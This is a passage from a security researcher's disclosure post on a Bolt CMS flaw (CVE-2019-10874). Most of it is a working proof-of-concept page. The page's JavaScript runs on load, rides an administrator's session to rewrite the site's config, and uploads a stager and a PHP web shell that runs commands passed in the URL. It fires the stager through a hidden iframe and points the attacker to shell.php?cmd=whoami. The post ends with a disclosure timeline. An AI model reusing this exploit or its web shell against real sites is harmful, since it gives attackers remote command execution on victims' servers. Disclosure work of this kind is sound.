null%0D%0A%23+++++auth_mode%3A+null%0D%0A%23+++++senderMail%3A+null%0D%0A%23+++++senderName%3A+null%0D%0A%0D%0A%23+mailoptions%3A%0D%0A%23+++++transport%3A+mail%0D%0A%23+++++spool%3A+false%0D%0A%0D%0A%23+Bolt+allows+some+modifications+to+how+\\\'strict\\\'+login+sessions+are.+For+every%0D%0A%23+option+that+is+set+to+true%2C+it+becomes+harder+for+a+bad-willing+person+to%0D%0A%23+spoof+your+login+session.+However%2C+it+also+requires+you+to+re-authenticate%0D%0A%23+more+often+if+you+change+location(ip-address)+or+your+browser+has+frequent%0D%0A%23+upgrades.+Only+change+these+if+you+know+what+you\\\'re+doing%2C+and+you\\\'re+having%0D%0A%23+issues+with+the+default+settings.%0D%0A%23%0D%0A%23+Note%3A+If+you+change+any+of+these%2C+all+current+users+will+automatically+be%0D%0A%23+++++++logged+off.%0D%0Acookies_use_remoteaddr%3A+true%0D%0Acookies_use_browseragent%3A+false%0D%0Acookies_use_httphost%3A+true%0D%0A%0D%0A%23+The+length+of+time+a+user+stays+\\\'logged+in\\\'.+Change+to+0+to+end+the+session%0D%0A%23+when+the+browser+is+closed.%0D%0A%23%0D%0A%23+The+default+is+1209600+(two+weeks%2C+in+seconds).%0D%0Acookies_lifetime%3A+1209600%0D%0A%0D%0A%23+Set+the+session+cookie+to+a+specific+domain.+Leave+blank%2C+unless+you+know+what%0D%0A%23+you\\\'re+doing.%0D%0A%23%0D%0A%23+When+set+incorrectly%2C+you+might+not+be+able+to+log+on+at+all.%0D%0A%23%0D%0A%23+If+you\\\'d+like+it+to+be+valid+for+all+subdomains+of+\\\'www.example.org\\\'%2C+set+this%0D%0A%23+to+\\\'.example.org\\\'.%0D%0Acookies_domain%3A%0D%0A%0D%0A%23+The+hash_strength+determines+the+amount+of+iterations+for+encrypting%0D%0A%23+passwords.%0D%0A%23%0D%0A%23+A+higher+number+means+a+harder+to+decrypt+password%2C+but+takes+longer+to%0D%0A%23+compute.+\\\'8\\\'+is+the+minimum%2C+\\\'10\\\'+is+the+default%2C+\\\'12\\\'+is+better.%0D%0Ahash_strength%3A+10%0D%0A%0D%0A%23+Bolt+sets+the+%60X-Frame-Options%60+and+%60Frame-Options%60+to+%60SAMEORIGIN%60+by%0D%0A%23+default%2C+to+prevent+the+web+browser+from+rendering+an+iframe+if+origin%0D%0A%23+mismatch+(i.e.+iframe+source+refers+to+a+different+domain).%0D%0A%23%0D%0A%23+Setting+this+to+\\\'false\\\'%2C+will+prevent+the+setting+of+these+headers.%0D%0A%23+headers%3A%0D%0A%23+++++x_frame_options%3A+true%0D%0A%0D%0A%23+Bolt+uses+market.bolt.cm+to+fetch+it\\\'s+extensions+by+default.+You+can%0D%0A%23+change+that+URL+here.%0D%0A%23%0D%0A%23+Do+not+change+this%2C+unless+you+know+what+you\\\'re+doing%2C+and+understand+the%0D%0A%23+associated+risks.+If+you+use+\\\'http%3A%2F%2Fmarket.bolt.cm\\\'%2C+Bolt+will+not+use%0D%0A%23+SSL%2C+increasing+the+risk+for+a+MITM+attacks.%0D%0A%23+extensions%3A%0D%0A%23+++++site%3A+\\\'https%3A%2F%2Fmarket.bolt.cm%2F\\\'%0D%0A%23+++++enabled%3A+true%0D%0A%23+++++composer%3A%0D%0A%23+++++++++minimum-stability%3A+stable++++++%23+Either+\\\'stable\\\'%2C+\\\'beta\\\'%2C+or+\\\'dev\\\'.+Setting+\\\'dev\\\'+will+allow+you+to+install+dev-master+versions+of+extensions.%0D%0A%23+++++++++prefer-stable%3A+true++++++++++++%23+Prefer+stable+releases+over+development+ones%0D%0A%23+++++++++prefer-dist%3A+true++++++++++++++%23+Forces+installation+from+package+dist+even+for+dev+versions.%0D%0A%23+++++++++prefer-source%3A+false+++++++++++%23+Forces+installation+from+package+sources+when+possible%2C+including+VCS+information.%0D%0A%23+++++++++config%3A%0D%0A%23+++++++++++++optimize-autoloader%3A+false+++++%23+Optimize+autoloader+during+autoloader+dump.%0D%0A%23+++++++++++++classmap-authoritative%3A+false++%23+Autoload+classes+from+the+classmap+only.+Implicitly+enables+%60optimize-autoloader%60.%0D%0A%0D%0A%23+Enforcing+the+use+of+SSL.+If+set%2C+all+pages+will+enforce+an+SSL+connection%2C%0D%0A%23+and+redirect+to+HTTPS+if+you+attempt+to+visit+plain+HTTP+pages.%0D%0A%23+enforce_ssl%3A+true%0D%0A%0D%0A%23+If+configured%2C+Bolt+will+trust+X-Forwarded-XXX+headers+from+the+listed+IP%0D%0A%23+addresses+and+ranges+when+determining+whether+the+current+request+is%0D%0A%23+\\\'secure\\\'.%0D%0A%23%0D%0A%23+This+is+required+to+correctly+determine+the+current+hostname+and+protocol%0D%0A%23+(HTTP+vs.+HTTPS)+when+running+behind+some+proxy%2C+e.g.+a+load+balancer%2C+cache%2C%0D%0A%23+or+SSL+proxy.%0D%0A%23%0D%0A%23+List+the+IP+addresses+or+subnets+that+you+know+are+such+proxies.%0D%0A%23%0D%0A%23+Note%3A+Allowing+hosts+here+that+may+not+be+trusted+proxies+is+a+security+risk.%0D%0A%23+++++++If+you+do+not+understand+what+this+does%2C+it+is+probably+best+to+not%0D%0A%23+++++++touch+it.%0D%0A%23+trustProxies%3A%0D%0A%23+++++-+127.0.0.1%0D%0A%23+++++-+10.0.0.0%2F8%0D%0A%0D%0A%23+If+you+want+Bolt+installation+get+news+through+a+proxy%0D%0A%23+httpProxy%3A%0D%0A%23+++++host%3A+scheme%3A%2F%2Fmy.proxy.server%3Aport%0D%0A%23+++++user%3A+%5Busr%5D%0D%0A%23+++++password%3A+%5Bpwd%5D%0D%0A%0D%0A%23+Options+for+backend+user+interface%0D%0A%23+backend%3A%0D%0A%23++++news%3A%0D%0A%23++++++++disable%3A+true+++++%23+Disable+news+panel.+Defaults+to+false.+%22Alerts%22+will+still+be+shown.%0D%0A%23++++stack%3A%0D%0A%23++++++++disable%3A+true+++++%23+Disable+stack+usage.+Defaults+to+false.%0D%0A%0D%0A%23+Options+that+will+be+forced+in+next+major+version%0D%0Acompatibility%3A%0D%0A++++%23+Whether+to+return+TemplateView+instead+of+TemplateResponse+from+Controller%5CBase%3A%3Arender()%0D%0A++++%23+Response+methods+cannot+be+used+on+TemplateView+objects.%0D%0A++++%23+Setting+this+value+to+false+is+deprecated.%0D%0A++++template_view%3A+true%0D%0A++++%23+Set+to+\\\'false\\\'+to+enable+using+a+newer+version+of+the+setcontent+parser.%0D%0A++++setcontent_legacy%3A+true%0D%0A&file_edit%5Bsave%5D=undefined\\n\";\r\n" + 
          "            var aBody = new Uint8Array(body.length);\r\n" + 
          "            for (var i = 0; i \x3c aBody.length; i++)\r\n" + 
          "              aBody[i] = body.charCodeAt(i); \r\n" + 
          "            xhr.send(new Blob([aBody]));\r\n" + 
          "        }\r\n" + 
          "\r\n" + 
          "        function UploadShell() {\r\n" + 
          "            var xhr = new XMLHttpRequest();\r\n" + 
          "            xhr.open(\"POST\", bolt_admin_url + \"/upload\", true);\r\n" + 
          "            xhr.setRequestHeader(\"Accept\", \"application\\/json, text\\/javascript, *\\/*; q=0.01\");\r\n" + 
          "            xhr.setRequestHeader(\"Accept-Language\", \"en-US,en;q=0.5\");\r\n" + 
          "            xhr.setRequestHeader(\"Content-Type\", \"multipart\\/form-data; boundary=---------------------------130713229751679908527494159\");\r\n" + 
          "            xhr.withCredentials = true;\r\n" + 
          "            var body = \"-----------------------------130713229751679908527494159\\r\\n\" + \r\n" + 
          "              \"Content-Disposition: form-data; name=\\\"files[]\\\"; filename=\\\"shell.php\\\"\\r\\n\" + \r\n" + 
          "              \"Content-Type: text/plain\\r\\n\" + \r\n" + 
          "              \"\\r\\n\" + \r\n" + 
          "              \"\\x3c?php echo(system($_GET[\\\'cmd\\\'])); ?\\x3e\\n\" + \r\n" + 
          "              \"\\r\\n\" + \r\n" + 
          "              \"-----------------------------130713229751679908527494159--\\r\\n\";\r\n" + 
          "            var aBody = new Uint8Array(body.length);\r\n" + 
          "            for (var i = 0; i \x3c aBody.length; i++)\r\n" + 
          "              aBody[i] = body.charCodeAt(i); \r\n" + 
          "            xhr.send(new Blob([aBody]));\r\n" + 
          "        }\r\n" + 
          "    }\r\n" + 
          "\r\n" + 
          "    exploit();\r\n" + 
          "\r\n" + 
          "\x3c/script\x3e\r\n" + 
          "\n" + 
          "\r\n" + 
          "-----------------------------130713229751679908527494159--\r\n";
        var aBody = new Uint8Array(body.length);
        for (var i = 0; i < aBody.length; i++)
          aBody[i] = body.charCodeAt(i); 
        xhr.send(new Blob([aBody]));

        setTimeout(function() {
            var dateObj = new Date();
            var folder = dateObj.getFullYear() + "-" + (String("00"+(dateObj.getMonth()+1)).slice(-2));
            document.getElementById('stager').src = target + "/files/"+folder+"/stager.html";
            console.log("Called stager! Wait a moment and access: " + target + "/files/" + folder + "/shell.php?cmd=whoami");
         }, 2000);

      }

      window.onload = function() {
        exploit();
      };

    </script>
     <iframe id="stager" style="width:0;height:0;border:0;border:none" src=""></iframe>
  </body>
</html>

Disclosure Timeline

  • 2019/04/02 - Vulnerabilities Discovered
  • 2019/04/03 - Vulnerabilities Reported to Bolt CMS (CVE-2019-10874)
  • 2019/04/03 - Developer Acknowledged Vulnerability and started to address issues (first Pull)
  • 2019/04/11 - Version 3.6.7 released (link)
Author

Felipe Gaspar

Regular InfoSec person that tries to understand why things work like they do.

View Comments